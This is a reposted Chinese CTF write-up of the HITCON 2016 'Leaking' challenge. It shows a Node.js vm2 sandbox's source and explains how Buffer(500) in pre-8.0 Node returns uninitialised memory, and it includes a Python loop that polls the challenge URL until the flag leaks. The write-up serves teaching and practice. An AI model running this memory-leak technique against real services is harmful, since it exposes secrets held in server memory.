[HITCON 2016]Leaking

admin 2022年6月2日00:43:07评论50 views字数 1466阅读4分53秒阅读模式

[HITCON 2016]Leaking0x01 源码

"use strict";
var randomstring = require("randomstring");var express = require("express");var { VM} = require("vm2");var fs = require("fs");
var app = express();var flag = require("./config.js").flag
app.get("/", function(req, res) { res.header("Content-Type", "text/plain");
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */ eval("var flag_" + randomstring.generate(64) + " = "hitcon{" + flag + "}";") if (req.query.data && req.query.data.length <= 12) { var vm = new VM({ timeout: 1000 }); console.log(req.query.data); res.send("eval ->" + vm.run(req.query.data)); } else { res.send(fs.readFileSync(__filename).toString()); }});
app.listen(3000, function() { console.log("listening on port 3000!");});

这是一道关于node.js沙箱逃逸的问题

大致说一下 题目的描述,首先定义变量flag,然后我们可以在沙箱里面执行任意的命令,那我们如何逃逸出去呢?

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

这儿的环境是8.0之前的,所以我们使用Buffer()来读取内存,这个和Linux读内存原理差不多~~

exp:

# encoding=utf-8
import requestsimport timeurl = 'http://402a95ea-15ad-46a2-be88-35e62822cb27.node3.buuoj.cn/?data=Buffer(500)'response = ''while 'flag' not in response: req = requests.get(url) response = req.text print(req.status_code) time.sleep(0.1) if 'flag{' in response: print(response)            break   

[HITCON 2016]Leaking

浅谈 Node.js 安全

原文来自CSDN博主「HyyMbb」|侵删




[HITCON 2016]Leaking

[HITCON 2016]Leaking


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[HITCON 2016]Leaking[HITCON 2016]Leaking。想加入我们就给我们留言吧[HITCON 2016]Leaking

[HITCON 2016]Leaking

[HITCON 2016]Leaking

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[HITCON 2016]Leaking

原文始发于微信公众号(寰宇卫士):[HITCON 2016]Leaking

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日00:43:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HITCON 2016]Leakinghttp://cn-sec.com/archives/1072043.html

发表评论

匿名网友 填写信息